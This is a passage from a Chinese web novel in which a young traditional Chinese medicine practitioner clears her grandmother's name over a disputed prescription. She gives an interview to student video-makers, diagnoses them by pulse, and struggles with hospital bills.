奶奶曾教过她如何分辨这种病的把脉要领和分辨的要点，这是奶奶十分擅长的领域。
病人舌苔黄腻且厚，舌质红，这是实热证。倘若是阴虚患者，舌苔应该是虚浮的。
医案上记载了病人口述小便赤黄，那就更对应上热证的征兆。
可见奶奶的诊断没有错。
*
申姜回想刚刚张警官说的话，他说山国盛来闹事之前问过不少中医专家，那些专家都说是奶奶开的药方子本身就有问题。
所以山国盛才会气急败坏的来闹事吗？
那他为什么不跟警察老实交代，他爸爸并没有在明心堂拿药。
申姜看着医案，突然想起了这个病人的一些事。
上个月，奶奶曾在吃晚饭的时候和她提起过这件事。有个病人觉得明心堂的药价太贵，要求把方子给他，他说自己儿子就是卖中药材的，他回去找儿子配就行。
奶奶当然没同意，那个病人也是犟，索性一把抢过奶奶已经写好的方子跑了。
当时申姜还安慰奶奶，至少病人回家配的药货真价实，而不是图便宜跑外头随便配药。
奶奶当时笑得无奈，比起担心那个病人，她似乎更关注背后令人心惊的问题：现在优质中药材越来越稀缺，以后的药只会越来越贵，甚至可能会出现配不齐的情况。
“要是真到那时候，中医就真没落了。”
温暖熟悉的声音还在耳边盘旋，配上眼前凌乱污浊的景象，显得讽刺至极。
申姜闭了闭眼。
重新整理思绪。
现在按照闹事的人提供的证词：病人是吃了在奶奶地方配的药出的事。
但实际上，病人是吃了奶奶开的药方，而药是在自家的中药店配的。
申姜的脑中忍不住冒出一个大胆又荒诞的想法：病人病情加重有没有可能是由于吃到了假中药？
申姜被自己的猜测惊得好半晌没回过神来，片刻后，她想扯动嘴角，却发现那块肌肉好像不听指挥般做不出表情。
现实该不会和她们开这样大的玩笑吧。
怀疑奶奶的医术和怀疑病人吃的药有问题，这两者之间，申姜觉得问题出在后者的可能性几乎是百分之百。
奶奶的医案上写得明明白白，她可以笃定地说奶奶开的方没有一点问题，但为了保险起见，她还是给自己的恩师梅老打了通电话求证。
“哟，几年没见水平又提升了啊，小丫头现在开的方子那么厉害了。那个病人估计吃个三幅药就该给你来送锦旗了吧哈哈。”
在得到梅老师的肯定和打趣后，申姜却没有半点喜悦之情，勉强维持住表情没有崩溃，认真道谢后这才挂上电话。
排除一切的可能后，真相即使再不可思议也只有一个：一定是病人吃的药材上出了什么问题。
申姜大口喘着气，完全没有意料到事情的真相竟然会是这样的。
顾不上胸口那股子郁气，她现在只想做一件事。
她必须想办法立刻向大家证明澄清这件事！
8. 现世界
申姜锁好大门就准备出发前往医院，没想到锁还没挂下，她就被人堵在了家门口。
“你看我说什么来着，里面有人！”
申姜扭头去看，只见一对年轻男女稚气未脱，打扮新潮，两双眼睛满是激动，齐齐望向自己。
那男生手里还拿着吃了一半的早餐，含糊不清道：“谢天谢地，来了那么多次，这回终于有人了。”
“你们有什么事？”申姜提防心起。
长相艳丽的女孩面露笑意：“你好，我叫梓宁，最近网上有一个采访中医的视频爆火，我们也是做自媒体的，现在这件事在网上引起了很大的争议，热度很大你知道吗？”
她身边浓眉大眼的男同伴嘴角扬起灿烂的弧度，露出一口大白牙：“我叫陈全，是她的摄像师。”
申姜当然知道，她对自媒体的印象可不算好，奶奶出事的视频最初正是由一个当时来看病的网红拍下并且发出去的，这件事情出来后，那人的账号迅速蹿红。
这两人看着年纪轻轻不谙世事的模样，蹭热度倒是迅速。
申姜表情微冷，吃人血馒头这种事，经历过一次后她简直对自媒体网红深恶痛绝。面前漂亮的女生的确有资本做网红，但这种漂亮此刻只让她觉得刺眼。
“我不知道，我是来看病的。”申姜抬脚就要离开。
面前长相可爱的小姐姐突然就变了脸色，梓宁有些诧异，她刚刚明明远远看到这个小姐姐从门里面走出来啊，和比她还茫然的同伴对视一眼，梓宁突然就反应过来。
“这件事在网上引起了很大的争议，舆论环境本来就对中医有偏见，很多人也跟着人云亦云。我是中医迷，想知道这件事有没有可能另有隐情？”
申姜的脚步一顿，停了下来，眼中的戒备仍在。
“中医迷？现在信中医的年轻人可不多了。”
梓宁笑了，“我们原本就是专门做中医科普类的视频up主，立志让大家能看到真正的好中医。那个发视频的博主单方面的视角……我个人觉得不全面。
说到底他就是个不明真相的路人，现在闹事的人跑了，医生也出事入院，双方都没有发声者，都是营销号和中医黑在带节奏。我们过来就是想知道这件事情究竟是怎么一回事。”
这可真是打瞌睡有人递来了枕头，申姜正愁怎么化解明心堂的声誉危机，就有人嗅着热度闻风而至。
不过，眼下光靠这两个一看就是大学生的草台班子，靠谱吗？
申姜这会的脸色已经缓和下来，“你们为什么要做中医科普？这个赛道太小众了吧，为什么不做美食或是其他的。”
那个男生立刻悄咪咪对她投来赞同的目光。
梓宁却像是找到了分享者，眼睛里冒光：“我前几年脸上全是痤疮，当时看了好多医生都没用，最后是在一个老中医地方配了药膏和中药才好的，你看。”
她指了指脸上，申姜只看到了一张光滑如剥了壳的鸡蛋般的白皙脸庞，梓宁倍感庆幸：“当时真以为自己这辈子的脸都要像月球表面一样，我差点抑郁了。你知道女孩子顶着一张坑坑洼洼的脸，真的特别绝望。还好遇到了靠谱的中医给我治好了。”
梓宁拿出手机给申姜看，申姜瞥了一眼上头的女孩照片，一张触目惊心的烂脸，五官轮廓倒是和她有几分相似。
那照片里女孩的眼神带上了几分阴郁，看着就不快乐。
叫陈全的男生挠挠头，“我很少看医生，就知道中医挺神奇的，反正她信我就信。”
他看了眼自己的同伴，眼底是遮掩不住的热烈。
两人身上的学生气很重，颇有诚意的自我介绍减轻了申姜的戒备。
申姜想到一个关键性的问题：“你们账号的粉丝多吗？”
陈全没想到她会这么直白，笑容里多了几分尴尬，他挠挠脸：“现在才一万不到，我们平时还要兼顾课业。不过你放心，我们的粉丝都是活粉，而且都是特别关注中医，到时候全平台发，曝光度肯定不小。”
说着说着他有些不好意思地嘿嘿笑了，那样子看着有些憨厚。
一千出头，的确是一万不到嘛。
申姜的电话铃声响起，来电是个陌生号码，想到最近打电话来的不是谩骂就是人身攻击，申姜不假思索的拉黑，动作流畅没有半点卡顿。
周围有不少邻居都在借着买早点的空档，将视线若有若无的投到这边，申姜转身把锁打开，推开门，露出空间让他们进去。
“我们进去说吧。”
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申姜这些日子一直守在医院，要不是昨天打算来签合同卖明心堂，后来又发生了许多事导致她呆到今天早晨，此刻他们俩怕是要再次扑空。
其实几天等下来陈全和梓宁已经对探访这家中医馆不抱希望，没想到没报希望的最后来一次，反倒歪打正着遇见了人。
而进来后医馆内混乱不堪的景象更是和之前网上爆火视频里的一模一样，这让两人看着心里挺不是滋味的，他们还以为，这里早就被收拾干净了呢。
让他们颇为意外的是，他们面前这位看着面善亲切的小姐姐竟然也是学中医的！
梓宁绕过地上的碎玻璃，她理所当然地问道：“那你现在读大几了？”
申姜：“我已经毕业工作好几年了。”
梓宁这会是真有些吃惊，“你看起来跟我差不多大诶，竟然已经毕业了么。像你这么年轻的中医，应该很难获得病人的信任吧。”
申姜笑了笑，的确，年轻中医都会经历好几年的冷板凳，这段时间很难熬。不过她还好，跟在奶奶身边，她的心头火热。
梓宁继续闲聊着，“南泽大学的中医专业还挺厉害的，要读五年才能毕业，可惜我差了几分没考上。你是南泽本地人，不会是我们的学姐吧？”
申姜没有强调自己的学历，她谦虚道：“南泽大学很好，不过我不是南泽的学生。”
申姜一看就是那种学生时代最乖最上进的好好学生，梓宁有些替她可惜，要是考上了南泽市的中医专业，她可以去市里的中医院工作，那里的发展机遇会比这里好很多。
看看地上那么多“救死扶伤”、“功德无量”的锦旗，梓宁的直觉告诉她那个老中医是有真本事的，否则这家中医馆不可能开四十多年。
陈全准备好第一个固定机位，他将一个手机固定在三脚架上，调整好高度和距离，又手举着另一台带着云台的手机，给梓宁比了一个ok的手势。
申姜觉得他们这架势，还挺专业的，两个人两台手机，整出一个小团队的感觉。
梓宁早就准备好了采访的问题，她这回是有备而来，索性开门见山问起网友最关心的医闹问题。
“申医生，前不久有病人家属来闹事，真的是你们的医生把人给治坏了吗？”
9. 现世界
申姜刚刚才因闲聊缓和下来的表情，嘴唇一抿，登时严肃了起来。
她面色出奇地严峻，眼神直直看向面前的女孩和她对视，一字一顿道： “你们能保证不会为了流量而恶意剪辑吗？”
梓宁被她突然暴涨上来的气势惊得一怔，无意识地点了点头，但她觉得这似乎还不够，她从包里掏出学生证，认真回应道：
“这是我的学生证，你可以拍照。我还可以给你写承诺书，保证按照今天的采访如实剪辑。不过为了视频效果，我会酌情进行删减和一些特效，这样吧，我发视频之前可以先给你看一遍，你觉得没问题我再发。”
陈全在手机后头一脸不赞同的表情，但他看同伴一副较真的模样，张了张嘴，最后到底还是没说话。
申姜笑了笑，那样子如春风化雨，把梓宁看呆了，进来这么久，她还是第一次看这个小姐姐笑，她笑起来的样子真可爱啊。
想捏。
申姜是被梓宁这种稚嫩的行为打动的，别看这个女生长相挺成熟，但这种将自己放在危险的境地就为了让别人放心的事，也就稚嫩单纯的大学生干得出来。
申姜并没有让她写保证书，不过还是拍了她的学生证，毕竟她现在一朝被蛇咬十年怕井绳，梦里自己的结局那么惨，她不防一手真不放心。
现在，她可以送这两位大学生小朋友一份大礼了。
“那个病人，的确来这里看过病。”梓宁一惊，没想到她会这么赤白的主动提起这个问题。
“警方已经抓到了那个医闹。”
梓宁又一惊，警察什么时候抓到人的，警察们嘴这么严的吗？
网友们都在猜测那个医闹这么久了还没被抓到，说不定都逃到国外去了。
申姜继续丢炸弹：“我这里的病人，当天的看诊记录都会记录在案，你可以看一下。”
梓宁看着她从桌子上拿过来一本厚厚的笔记本，外封用布包着，还挺有古韵。
梓宁一头雾水，完全不懂这个小姐姐的路数，直接让他们拍医案，那就是让所有看视频的网友一起审判啊，这胆子未免也太大了。
要知道，网络可是会无限放大某些东西的，可能你觉得委屈上网吐槽点什么，可网友一看，不但不同情你还反过来骂你，这就是典型的自挂东南枝。
陈全也没弄明白申姜为什么要这么做，不过他知道这绝对是他们今天这个采访的大爆点。上次那个网红拍的跟他们这一比，根本就不算啥。
他二话不说就举着手机凑近了医案上的文字，还拉了个运镜，从梓宁的身边经过直接举到医案书前。
上头那一堆专业名词陈全看不懂，不过他看到了那行备注，他的眼睛一亮，出声道：“那个病人的药不是在你们这配的！”
梓宁也看到了，她惊喜道：“那个病人吃坏了身体，其实跟你们没什么关系啊。说不定他是在外头找别的医生重新看了病配了药呢。”
她就说嘛，这里这么多锦旗，这医生不可能是庸医啊。
梓宁和陈全对视一眼：他们今天真是来对了！
申姜没有点头，反而微微摇头：“你们看得懂这个医案吗？”
梓宁这回老实了：“姐，咱就是个中医爱好者，你就直说吧。”
申姜给他们解释起来，什么叫真寒假热证。
梓宁听得头都大了，中医的理论知识对她来说过于复杂，那些文言文般的名词一个比一个晦涩难懂。什么“脉浮于下”，连她这种爱好中医的人都听不懂，更别说那些网友了。
明明就是体寒的症状，怎么就变成了热证了呢，她想不通啊。
梓宁：“咱们可以解释得更好懂一些吗？主要是我担心很多网友可能之前没接触过中医，听不懂这种复杂的病情。”
陈全噗嗤一笑，显然听出了梓宁的言外之意。
梓宁回头瞪他一眼，又发现他还捧着手机拍摄，连忙收回凶狠的目光，瞬间无缝切换到端庄温柔大姐姐的样子。
陈全用另一只手挠了挠头，有些后悔，其实他不也听不懂，干嘛要嘲笑人家呢。
申姜被他们的互动逗乐，也跟着笑了出来，“听不懂很正常，我是想着如果有中医界的人士看到这段视频，他们能够有所感悟那这个分享就是有意义的。”
梓宁此刻还不懂申姜这段分享的含金量。事实上，她这些毫不藏私的分享，对于那些已经到了一定水平的中医来说简直就是珍贵无比的知识宝藏，能帮助他们解决很多目前难以解决的疑难杂症。
申姜狡黠一笑：“现在，我们来说点你们听得懂的吧。体内有热应该有两个征兆，一个是病人的小便，一定非常黄，另外一个是病人不喜欢喝热水。”
梓宁拿过刚刚那本医案书，对应着上面的文字，失声道：“这个病人就是这样的情况！他真的是热证！”
天啊，要是这个小姐姐说的是真的，那这家医馆的医生也太厉害了吧！梓宁内心激动起来，等一会采访结束，她得让小姐姐给她把把脉才行。
但梓宁总觉得有什么不对劲的地方，想了好一会，她还是没想出来到底有什么不对劲。
“要是你奶奶开的方子没
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问题，那……那个病人是怎么回事呀？他家里人是故意来碰瓷吗？”似乎是意识到自己的问题有些敏感，她的声音越说越小。
可梓宁真没弄懂这里头的逻辑，既然申姜要告诉他们她奶奶的药方没问题，又说药是病人在外头配的，那病人家属为什么要来明心堂闹事啊？
到底这个病人出事跟明心堂是有关系还是没关系啊。
她都快被绕晕了。
申姜觉得没什么不能说的，藏着掖着反而显得她心虚，她自己提出来问题，总比以后山家人自己说要好。
申姜眼中闪过哀痛和忿恨，毫无感情的陈述事实：“按照那个病人家属的说法，他爸爸是拿着我奶奶开的方子，在外头的中药店配了药。”
梓宁吃惊地张大了嘴巴，消化了好一会，才听明白里头的逻辑。
她有些生气道：“那这人应该先去找卖药的啊，怎么只来明心堂闹事呢。”
说到这，她不由有些同情那个出事的老医生了，老人家这也太倒霉了，遇到这么一家人，病人任性，病人家属更是不分青红皂白。
申姜心想，是啊，他自己就是那个卖药的，他怎么就不从自己的药材里找找原因呢。
但这话不该由她来说。
有些事情需要点到即止，她已经提前给了警方相关的证据，相信那个山国盛，很快就会在警局交代他父亲吃的药是在他的中药店里配的。
她直接把真相给大家，大家是不会信的，只有大家自己找来的真相，他们才会愿意相信。
*
采访差不多已至尾声。
梓宁想告诉小姐姐，即使正义可能来得晚一些，但正义总是会来的。
但她最终没有说。
迟到的正义，真的还算是正义吗？
梓宁艳丽的脸上出现纠结的神色，似乎很难对这个疑问给出肯定的答复。
索性指使起自己的小弟陈全：“去，把那些被人砸得不像样子的玻璃柜子，还有那些锦旗，地上的墙上的，都拍下来，我到时候全都剪进去。”
陈全就喜欢看她这幅对自己颐指气使的模样，开开心心就去了。
梓宁看着申姜长得又软又甜的模样，再一想到对方祖孙俩是相依为命守着这座医馆，心里不免有些涩涩的。这个女孩看起来太好欺负了，她忍不住就想替她出出头，为她伸张“正义”。
不行，这些还不够让网上那群喷子完全信服，她得再想想办法。
梓宁想了想，没叫陈全过来，单独问申姜：“申姜姐姐，你能不能给我搭个脉看看呀？”
10. 现世界
梓宁那副生怕被谁听见的口气，鬼鬼祟祟，完全和她自身御姐外放的气场大相径庭。
申姜没有推辞，直接让她在桌子的另一边坐下，打开抽屉从里头掏出一个款式特别的脉枕，示意梓宁把手放上去。
梓宁看到那个脉枕的样子，上面印了一只躺在草丛里的小猫，憨厚可掬，跟她以往看病时遇到的那些都不一样。她顿时转移了注意力，忍不住问：“这小枕头怎么这么可爱，哪买的呀？”
“是之前一个老病人送的，她……”
“你们在干什么呢？”陈全从背后打断了她们的对话，他拍完那些镜头准备过来，一扭头就看到她们俩竟然背着自己干起了别的事。
见到是申姜在给梓宁把脉，他直接把手机镜头对准了两人。
梓宁有些不高兴，自己的一番好意都被陈全给破坏了，这个陈全怎么这么不会看人眼色。
他这样直接怼着人拍，小申医生得多紧张啊。
梓宁原先的打算是先让申姜给她诊个脉看看，要是不灵就算了。灵的话，她就再让陈全补拍一次。
只要申医生有真本事，也不必在意是不是特意为了镜头重新演绎一遍场景，反正她又没骗人。
梓宁完全是一番好意，申姜的外表实在是太显年轻，尤其她还长了张可爱的娃娃脸，很难让人在第一印象里信服她是个医术高超的中医。
老中医、老中医，就是要越老越吃香嘛。
梓宁有心帮明心堂一把，现在她心里的天平已经完全偏向了申姜和她奶奶这边。特别是听说老医生现在还在ICU昏迷不醒，再看看这医馆，入目就是满地狼藉，梓宁真心同情她们祖孙俩的遭遇。
她会把申姜说的那些如实发布到网上去，虽然网友肯定像她一样听不懂，但只要有专业的中医人士肯站出来，一切都会真相大白的。
究竟是药方有问题，还是药材有问题，到时候就知道了。
她现在心里是偏向申姜她们的。
她得帮申姜在大众面前树立靠谱的形象，只有这样，大家才会有可能相信她那些深奥的中医理论。
陈全哪里知道她心里这些小九九，他还有话没说完呢。
陈全举起手中样式精致的邀请函，那是他刚从角落里捡回来的。
陈全兴致盎然：“申医生，市里举办的端午节中医义诊活动也邀请你们了？你到时候会去吧？这请柬可得收好了。”
端午节在下个月初，现在已经是五月中，还有半个月就到了。
申姜的眼神掠过那封薄薄的月色邀请函，平静得没有丝毫波澜，“别吵。”
诊脉的时候医生需要一个安静的环境凝神静气，陈全三番两次的打断她，影响了她给梓宁诊断。
梓宁心想，果然还是紧张了啊。
她心里做出决定：一会无论申姜说什么，只要不是太离谱，她都会说申姜把脉准得离谱。
反正现代人来来回回也就那几个共同的毛病：脾虚、肾虚、脱发、失眠……
怎么着都能蒙对几个吧。
3分钟过去，申姜让梓宁把舌头伸出来看看，梓宁照做，她记得以往医生看到这，诊病这个步骤就算差不多结束了。
结果申姜又把三根手指放到了她的另一个手腕上，垂下眼继续把脉。
梓宁这会有些后悔让申姜替自己看诊了，看得出来，申姜虽然面上不慌，可这翻来覆去的把脉，不就是功夫不到家的表现吗？
估计她现在心情就跟考试时遇到不会做的大题一样，正慌得不行呢。
又过去5分钟，见申姜还没有把完脉的意思，梓宁不由替她心急起来。
这时候自己不帮她一把，难道还等着看小姐姐出丑吗？
梓宁这些年也算看过不少中医，大致也知道自己身上究竟有哪些问题，更何况，她本人可太知道自己身上哪里不舒服了。
嘴微微张开，梓宁刚想开口，准备把以往看中医时会主动提及的那些毛病通通说出来。
申姜毫不客气地直接打断了她：“你心跳怎么突然加快了，放轻松。”
梓宁：“……”
好家伙，这不应该是她安慰申姜的话吗，怎么反过来变成她安慰自己了。
不过梓宁发现申姜是真的凝神在把脉，对周遭保持安静的要求出奇的高。
她想了想，还是选择尊重申姜的意愿，没说话。
陈全原本在一旁举着手机拍她们俩，但两个人都安安静静的不说话，他举着手机就这么直愣愣地看人发呆实在是太傻了。
陈全索性把三脚架拿了过来对着她们俩慢慢拍，自己则躲到一边休息。
漫长无比的几分钟终于过去。
申姜收回手，开始问诊。
梓宁偷偷在心里长舒一口气，总算是结束了。
但随着申姜每一次的提问，梓宁的表情开始逐渐变成了呆滞的点头、再点头。
怎么回事，刚刚申姜诊了那么久，难道不是因为没摸出脉象吗？
谁来告诉她，为什么申姜能够准确无误的说出自己的症状啊？
准确来说，申姜其实并没有直接断言她有什么症状。
而是问她：“平时有没有便秘？”“会不会经常长痘痘？”“会痛经吗？量多不多？……”
申姜问得很细，有些甚至是细碎到梓宁自己都忽略了的小问题。
梓宁想给她跪下，她有，她都有。申医生是怎么做到的啊，这都是她刚才通过诊脉摸出来的吗？
申姜开始问诊的时候，陈全就坐在三脚架旁围观，看到梓宁的表情越来越呆，越来越傻，就光会点头。看
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的陈全乐不可支，想笑又不敢笑出声。
别说，效果还真挺好。
这丫头玩了这么久的自媒体，也算是开了窍了，都知道什么样的反应才能搞出效果。就冲她这演技，谁看了不得说一句这医生有两把刷子啊。
陈全没把申姜的话当一回事，他觉得中医来来回回就那么几句，就跟星座似的，看似神秘，但每一个都能大部分人对应上，完全就是瞎猫碰上死耗子。
倒是梓宁，她现在看申姜的眼神完全不一样了。
申姜把她每次主动跟中医交代的症状，几乎事无巨细的复述了一遍！有些小细节甚至比她自己说的还要全乎。
最后，申姜轻描淡写丢出一句：“那就对了，你肯定有鼻炎的症状吧。”
梓宁很难和人描述自己此刻的震惊，只想给申姜跪下。
加上鼻炎，那就全部都对上了。
“申医生，你这么厉害，肯定会治鼻炎吧！”梓宁的眼睛亮晶晶的，直盯着申姜看。
她之前看过不少中医，为的就是把折磨她许久的鼻炎给治好。可惜那些中医开的方子密密麻麻一大串，苦兮兮的却不顶用，还不如西药有效果。但西药的效果有限，只在前期能让她好受一些，后头还是得靠自己熬。
梓宁每年都会鼻炎发作，现在对那些鼻炎喷雾剂如数家珍，像是布地奈德鼻喷、盐酸氮卓斯汀鼻喷这种都是她常用爱用的，她之前还在小红树写过一篇鼻炎患者的药剂分享，获得了不少赞。
申姜：“你肺气虚其实只是表象，内里是由于正气不足，脾胃虚。只要把脾胃调理好，慢慢你的鼻炎就好了。”
梓宁点头如捣蒜，这还是她头一回在治疗好脸上的痤疮后遇到这么厉害的医生，现在申姜说什么她都愿意听。
她第一眼看到申姜的时候还当对方只是个平平无奇的软妹子，现在再看，怎么看有一种超然物外的高人大佬即视感。
真是人不可貌相啊。
梓宁突然就好奇起来，这姐姐到底是在哪上的大学。
申姜转头，对手机后头看好戏的陈全说道：“小伙子，你过来，我也给你看看吧。”
陈全摆摆手：“我不用。”
让他也像梓宁似的在那傻乎乎干坐那么久，他可受不了。
还有那什么鼻炎……其实光仔细听梓宁说话也能听出那个鼻音吧。还有最后从肺气绕到脾虚上的那番言论，简直太扯了。
他从小就好养活，吃嘛嘛香，身体倍棒。
能吃、能拉、能睡，一点毛病没有，压根没必要浪费时间在这上头。
申姜的视线在他的脸上逗留了几秒，像是不死心般，继续邀请他过来坐下，并且强调：“我不收诊费。”
陈全嘴角扯了扯，这是钱的问题吗，他压根就不想找她看病啊。
11. 现世界
梓宁看到陈全这副推三阻四的样子，一下来了火。
申医生这么厉害的医生，还得低三下四的求陈全给他看病，给他脸了是吧。
梓宁沉下脸，对着陈全毫不客气的命令起来：“你赶紧的，要不是今天申医生看你有眼缘，你以为你能免费在这看上病啊？”
她用威胁的眼神瞪着陈全，仿佛在说你再不过来就死定了。
陈全心想他还就是不想占这免费的便宜呢。不过，他心里那点不耐烦全被梓宁给骂跑了，看着梓宁气鼓鼓的脸，他没吱声，老老实实坐到了申姜的对面。
就让他这个跟牛一样壮实的身体，给这个小中医一点来自健康人的震撼吧。
梓宁看到他终于不犟了，心里暗骂一句欠收拾。扭头就对申姜释放出一个极灿烂的笑脸，“我给你们拍，你就当我不存在，放轻松点拍出来更好看。”
申姜有些哭笑不得，梓宁这姑娘变脸的速度简直如火纯青，往往上一刻对着陈全还没个好脸色呢，下一刻就能对着别人阳光灿烂起来。
这对小情侣也是有趣，每次女朋友一发飚，男生反而莫名听话，完全不介意她在外人面前对自己凶巴巴。
虽然这两人没提过他们的关系，也没有腻腻歪歪的亲昵举动。但申姜作为外人，一眼就看出了他们之间那股带着粉红泡泡的微妙氛围。
还真是一个愿打，一个愿挨。
不过这次，申姜的表情明显比给梓宁诊脉时严肃了许多。
而且不像刚才给梓宁诊脉时只用了一只手，她将陈全的两只手腕都放在脉枕上，左右手同时开弓给他诊脉。
陈全完全将她这副表现，归因于刚刚他不给这个年轻女医生面子，她面子上挂不住了。
几分钟过去，申姜还没有结束，陈全再度开始不耐烦起来。刚刚梓宁坐这的时候，他刷了会手机，时间唰一下就过去了。现在轮到自己，才发现这诊脉咋要那么久啊。
他之前已经陪着梓宁去了不少中医馆，虽然他没找医生看过病，可他看过医生给别的病人看病啊。
那不都是几分钟就完事了，诊脉、问问病人情况，然后唰唰开方，要不了几分钟。
陈全对中医的印象就是神神乎乎，光靠三根手指在病人手腕上那么一搭就能说出个一二三四。要他看，手腕上不就只有脉搏吗，不过这话他可不会当着梓宁的面说，梓宁对中医的痴迷程度简直就跟追星一样，要是他敢说中医半句坏话，估计他们这搭档的情谊能当天走到尽头。
这个年轻女医生到底行不行啊。
他早就说了不用给他看不用给他看，非要看，还搞两只手一起诊脉的噱头。
现在好了吧，就他这种健康的程度，知道什么叫骑虎难下了吧。
他倒是要看看，等会这个小中医要怎么给自己找台阶下。
申姜看得出来，吊儿郎当的男生其实并没有他嘴上说的那么相信中医。
尤其是从她把脉开始，男生就表现出一副不感兴趣的模样。
申姜从小在医馆里长大，这样的病人她见过简直数不胜数，有不少被家里人拖着来找中医看病的，就是陈全的这副样子。
要说起来，陈全的态度还算不错的，至少表面上还算配合，让他干嘛就干嘛，也没有挑三拣四或是发出不满的啧啧声。
还是和刚刚差不多的流程和时间，梓宁很是适应这种慢吞吞的诊断方式，她理解为申姜虽然医术不错，但到底是年轻医生，比不上那些老中医，所以需要更多的时间用来把脉确诊。
别管黑猫白猫，只要能抓老鼠的就是好猫。
陈全麻木的按照申姜的要求来回伸舌头给她看，他压着心里的不耐嬉皮笑脸起来：“是不是太健康了一点毛病没有？诊不出毛病不是你的问题申医生，要赖就赖我太健康了，没事咱不用硬诊。大不了这段不剪进视频里去。”
梓宁看见他这副嬉皮笑脸的样子，简直气不打一处来。再看看申医生，刚才就严肃的脸色这会好像更难看了。
申医生肯定是被这家伙给冒犯到了！
梓宁想让陈全闭上他的嘴老实安分一点，但申姜终于松开了紧皱的眉头，开口道：
“你这个病，治起来有些麻烦。”
陈全一愣，反驳道：“我怎么可能有病？你没搞错吧。”
申姜摇头。
“你的脉象告诉我，你有结节，应该是甲状腺结节。”
其实她刚才主动要给陈全诊脉，就是看陈全的面色觉得不对劲。
人体的病症都会显现在脸上和眼睛里，陈全不像女生那样化了妆，所以他脸上反应了身体最真
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实的情况，申姜一目了然。
陈全几乎是瞬间就黑了脸，他没好气道：“你以为你是ct机啊，还甲状腺结节，你怎么不直接把神医两个字贴脑门上得了。”
这话说出来就很冲了，几乎是火药味十足。
梓宁猛的从摄像机那边探出头来，想让他注意点，这边还拍着呢。
没想到陈全这次一反常态，粗声粗气直接道：“行了别拍了，再录下去也没意思，我压根就没病。”
梓宁这才发现自己的小伙伴是真生气了，见气氛不对，她赶紧关了手机摄像功能走到他们身边来。
申姜完全没有被陈全这副怒气冲冲的样子影响，还是那副平静的样子，“这病说到底也算是情绪病，要保持心情愉悦。你平时要注意，别熬夜，也不能多吃海带紫菜这种含碘量高的食物。知道吗？”
陈全见她竟然还在那装模作样，简直怒火中烧，他没有破口大骂。但他也不想继续在这破医馆待下去，直接起身就往外走。
“哎，陈全，你好歹等我把东西收拾好啊。”
听见梓宁在后头呼唤，陈全迈开的步子微微一顿，随后又立刻迈开更大的步子，走出了医馆。
梓宁见他头也不回的就这么走了，叹了口气，和申姜道起歉来：“不好意思申医生，我朋友他……他平时不这样的，你别跟他一般见识啊。”
申姜摇摇头，表示没关系，她问：“你还要在我这配药吗？”
“当然配啊，我还指望着你能治好我的鼻炎呢。”梓宁理所当然地点头，她脸上浮现出一丝担心，“不过……我朋友他真的有甲状腺结节吗？严不严重啊？”
申姜见她毫不怀疑自己的医术，不由心头一暖，“我刚刚不是说还有一个好消息吗，那就是他的结节应该是良性的，问题不大。”
申姜见时间也不早了，她还要去医院看奶奶，和梓宁加上了联系方式后，申姜表示自己会过几天把药寄给她，现在店里的药材不全，她暂时没办法配齐药材。
梓宁三两下也收好了手机三脚架那些拍摄器材，她这会也着急去找陈全那家伙，刚才收拾东西的时候才发现，他手机还在她这呢。
现代人有几个身上会带现金，那小子别是打算走回学校吧。
她们学校离这可有二十多公里呢！
12. 现世界
采访加上诊脉，申姜出门的时间一下子推迟了一个多小时，等她再坐公交赶到医院的时候已经将近十点了。
路上这些时间她也没闲着，仔仔细细回忆着梦境中所有和自己有关的细节，力求不放过一丝蛛丝马迹。
唉。
早上从梦境中醒来开始，申姜就不太舒服，总觉得闷闷的喘不上气。
申姜很明白胸中那股不忿的郁气来源于哪。
奶奶是因为山国盛才会昏迷不醒，一生清誉被毁晚节不保。她不仅要为奶奶讨回应有的公道，还要救醒奶奶，重新和奶奶一起好好过日子。
只是志气长得容易，真落到实处却处处艰难。
作为小说世界里的标准炮灰，她一没钱二没权，别说为奶奶澄清事实，就是凑医药费都得倾家荡产才行。虽然她有打算通过将巨龙家门口的药材变现来实现发家致富，可这事她说了不算，谁也不知道那扇古怪的大门还会不会出现。
申姜知道，梓宁肯定会守诺，将今天拍摄到的素材一五一十的呈现给大众，但她不敢将所有的希望都压在一个她身上，她不能赌。
她必须多给自己想几条备选的方案出来。
虽然梦里有关自己的出场篇幅极其有限，但好在申姜坚持不懈的回想之下，终于想到了一件关键的事。
就在警方公布山国盛父亲没有在明心堂配过药之后，山国盛的母亲也按耐不住站出来发声了。山母声称虽然没有在明心堂配药，但她爱人吃的药方就是明心堂的医生开的，这事跟医生逃不了干系。
山母除了找到市中医院的医生集体签字证明明心堂开的药方完全不对症，她还亲口承认药材是在自家药材店配的。
正因为山国盛母亲的发声，网友们再度沸腾了。
“一个医生说方子开错了还不能说明什么，这么多专家都说这方子有问题还不能说明问题吗……”
“朋友们这妥妥的控制变量法啊，已知病人吃的是自家店里的药，而药方是明心堂医生开的，这不更加做实了病人肾衰就是明心堂的医生开的方子有问题。”
“是啊，现在中药那么贵。病人自己家就是开药材店的，自己回去根据药方配药这不是正常操作吗？”
“山家人是真倒霉啊，老人成了肾衰竭，儿子又进了局子，这以后可怎么办哟。”
……
现在她已经提前把药材的信息透露给了警方，警方应该很快就会发布声明。所以山母这几天应该就会迫不及待的去找她儿子找过的医生，求他们出来作证就是明心堂的药方有问题。
申姜心里清楚，再没有比这次更好的发声机会了。
风浪越大，她才能借势而出。
她必须得好好抓住这个机会。
申姜走进医院，脑海中响起护士每次催她缴费时无奈又死板的声音，“家属赶紧去缴费，账户里又没钱了，病人现在不能断药的知不知道。”
申姜头疼起来，比起那些有的没的，现在更紧急的应该是奶奶的医药费还没有着落。
原本今天就是缴费的日子，现在她决定不卖明心堂了，就得赶紧想其他办法弄到钱。
果不其然，一到ICU病房门口，护士一眼就在人群中看到了申姜，，脚步匆匆朝她一阵小跑：“ICU17床申安莲家属是吧，你奶奶的住院费怎么还没交上，我们医生药都开不了，你抓紧时间去缴费啊。”
说完，护士又风风火火的离开了。
申姜走去收费台，把手里的三万块都给了出去，但收银员却皱起眉头：“你这也不够啊，还差一万七呢。”
申姜面上镇定：“明天，我明天肯定补上剩下的钱。”
收银员似乎见惯了她这种操作，不满的嘟哝了几句，并没有说不行。反正真断了药，家属可比他们着急。
申姜拿回卡和欠费的单子，说了声谢谢后往电梯的方向走去。
她该怎么在短时间凑到一万七千块呢。
从巨龙家门口拿回来的药材种类颇多，但数量有限，每一种份量都不多。尽管它们品相优越，但要想靠这些没几斤几两的药材变现，显然是不太可能的。
申姜打起精神，决定向大表叔跟小表叔开口，先渡过这几天的难关。
